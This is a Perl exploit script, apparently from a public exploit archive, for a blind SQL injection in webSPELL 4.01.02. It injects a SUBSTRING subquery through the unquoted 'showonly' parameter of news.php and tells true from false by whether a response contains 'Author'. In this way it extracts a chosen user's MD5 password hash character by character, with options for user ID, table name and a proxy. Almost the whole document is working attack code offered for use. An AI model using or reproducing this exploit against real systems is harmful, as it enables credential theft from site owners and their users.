webSPELL 4.01.02 (showonly) Remote Blind SQL Injection Exploit

                                                #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print \"
                           \\#\'#/                       \";
  print \"
                           (-.-)                        \";
  print \"
   -------------------oOO---(_)---OOo-------------------\";
  print \"
   | webSPELL v4.01.02 (showonly) Remote SQL Injection |\";
  print \"
   |      (works only with register_globals = on)      |\";
  print \"
   |                   coded by DNX                    |\";
  print \"
   -----------------------------------------------------\";
  print \"
[!] Bug: in news.php line 601 $showonly is unquoted, so u can inject sql code\";
  print \"
[!] Solution: install security fix\";
  print \"
[!] Usage: perl ws.pl [Host] [Path] <Options>\";
  print \"
[!] Example: perl ws.pl 127.0.0.1 /webspell/ -i 2 -t my_user\";
  print \"
[!] Options:\";
  print \"
       -i [no]       User-ID, default is 1\";
  print \"
       -t [name]     Changed the user table name, default is webs_user\";
  print \"
       -p [ip:port]  Proxy support\";
  print \"
\";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $user    = 1;
my $table   = \"webs_user\";
my %options = ();
GetOptions(\\%options, \"i=i\", \"t=s\", \"p=s\");

print \"[!] Exploiting...
\";

if($options{\"i\"})
{
  $user = $options{\"i\"};
}

if($options{\"t\"})
{
  $table = $options{\"t\"};
}

syswrite(STDOUT, \"[!] MD5-Hash: \", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $found = 0;
  my $h = 48;
  while(!$found && $h <= 57)
  {
    if(istrue2($host, $path, $table, $user, $i, $h))
    {
      $found = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$found)
  {
    $h = 97;
    while(!$found && $h <= 122)
    {
      if(istrue2($host, $path, $table, $user, $i, $h))
      {
        $found = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print \"
[!] Exploit done
\";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $table = shift;
  my $uid   = shift;
  my $i     = shift;
  my $h     = shift;
  
  my $ua = LWP::UserAgent->new;
  my $url = \"http://\".$host.$path.\"index.php?site=news&showonly=%20AND%20SUBSTRING((SELECT%20password%20FROM%20\".$table.\"%20WHERE%20userID=\".$uid.\"),\".$i.\",1)=CHAR(\".$h.\")\";
  
  if($options{\"p\"})
  {
    $ua->proxy(\'http\', \"http://\".$options{\"p\"});
  }
  
  my $response = $ua->get($url);
  my $content = $response->content;
  my $regexp = \"Author\";
  
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }
}